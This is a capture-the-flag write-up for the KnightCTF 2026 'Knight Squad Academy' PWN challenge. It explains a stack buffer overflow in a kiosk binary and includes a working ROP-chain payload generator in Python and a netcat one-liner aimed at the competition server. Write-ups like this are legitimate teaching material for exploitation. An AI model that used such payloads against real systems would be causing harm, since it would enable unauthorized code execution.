506 words
3 minutes
Knight Squad Academy - PWN Challenge Writeup
Knight Squad Academy - PWN Challenge Writeup
Challenge: Knight Squad Academy
Category: PWN
Flag: KCTF{_We3Lc0ME_TO_Knight_Squad_Academy_}
Challenge Description
A binary executable ksa_kiosk simulating a Knight Squad Academy enrollment kiosk was provided. The challenge required exploiting a buffer overflow vulnerability to gain control of program execution and retrieve the flag.
Target Server: nc 66.228.49.41 5000
Binary Analysis
File Information
$ file ksa_kioskksa_kiosk: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,interpreter /lib64/ld-linux-x86-64.so.2, strippedKey Findings
-
Menu System: The binary presents a kiosk interface with 3 options:
- Register cadet
- Enrollment status
- Exit
-
Vulnerability Location: The “Register cadet” function (option 1) has a buffer overflow in the “Enrollment notes” field.
-
Buffer Overflow Details:
- Buffer size:
0x70bytes (112 bytes) - Read size:
0xf0bytes (240 bytes) - Overflow: 128 bytes beyond buffer boundary
- Buffer size:
-
Win Function: Located at
0x4013ac- reads and prints./flag.txt- Requires
%rdiregister to equal magic value0x1337c0decafebeef
- Requires
-
ROP Gadget:
pop rdi; retfound at0x40150b
Exploitation Strategy
Stack Layout
+------------------+| Buffer (112) | <- Enrollment notes input+------------------+| Saved RBP (8) |+------------------+| Return Addr | <- Overwrite target+------------------+ROP Chain
[120 bytes padding] + [pop_rdi gadget] + [magic value] + [win function]- Padding: 120 bytes (112 buffer + 8 saved RBP)
- pop rdi; ret:
0x40150b- pops next value into RDI - Magic Value:
0x1337c0decafebeef- required argument - Win Function:
0x4013ac- prints flag
Exploit Code
Python Payload Generator
#!/usr/bin/env python3"""Knight Squad Academy - Buffer Overflow ExploitTarget: nc 66.228.49.41 5000"""
import struct
# Addresses (little-endian)POP_RDI = 0x40150b # pop rdi; ret gadgetMAGIC = 0x1337c0decafebeef # Required value in RDIWIN_FUNC = 0x4013ac # Win function that reads flag
# Build payloadpadding = b'A' * 120 # 112 bytes buffer + 8 bytes saved RBP
payload = paddingpayload += struct.pack('<Q', POP_RDI) # pop rdi; retpayload += struct.pack('<Q', MAGIC) # value to pop into rdipayload += struct.pack('<Q', WIN_FUNC) # win function address
# Save to filewith open('payload.bin', 'wb') as f: f.write(payload)
print(f"[+] Payload generated: {len(payload)} bytes")print(f"[+] Padding: 120 bytes")print(f"[+] ROP Chain: pop_rdi -> 0x1337c0decafebeef -> win()")Bash Exploit Runner
#!/bin/bash{ echo 1; echo AAAA; cat payload.bin; sleep 1; } | nc 66.228.49.41 5000One-Liner Exploit
{ echo 1; echo AAAA; cat payload.bin; sleep 1; } | nc 66.228.49.41 5000Execution Flow
- Connect to
nc 66.228.49.41 5000 - Select option 1 - Register cadet
- Enter any name - “AAAA”
- Send overflow payload in enrollment notes field
- ROP chain executes:
pop rdiloads0x1337c0decafebeefinto RDIretjumps to win function at0x4013ac- Win function validates RDI and prints flag
Output
==================================================== Knight Squad Academy Enrollment Kiosk (v2.1)====================================================Authorized personnel only. All actions are audited.
1) Register cadet2) Enrollment status3) Exit>--- Cadet Registration ---Cadet name:> Enrollment notes:> [Enrollment] Entry received.Welcome, Cadet AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.Please wait for assignment.[Registry] Clearance badge issued:Your Flag : KCTF{_We3Lc0ME_TO_Knight_Squad_Academy_} ... Visit our website : knightsquad.academyKey Takeaways
- Classic Buffer Overflow: Unbounded read into fixed-size buffer
- ROP Chain: Used to bypass potential protections and set up function arguments
- Magic Value Check: Common CTF pattern requiring specific register value
- x86-64 Calling Convention: First argument passed in RDI register
Tools Used
file- Binary identificationstrings- String extractionobjdump- Disassemblync(netcat) - Network connection- Python3 - Payload generation
Author: MR. Umair
Date: January 20, 2026
Competition: KnightCTF 2026
Knight Squad Academy - PWN Challenge Writeup
https://ctf-writeups-webb.vercel.app/posts/knightctf-2026-pwn-knightsquadacademy/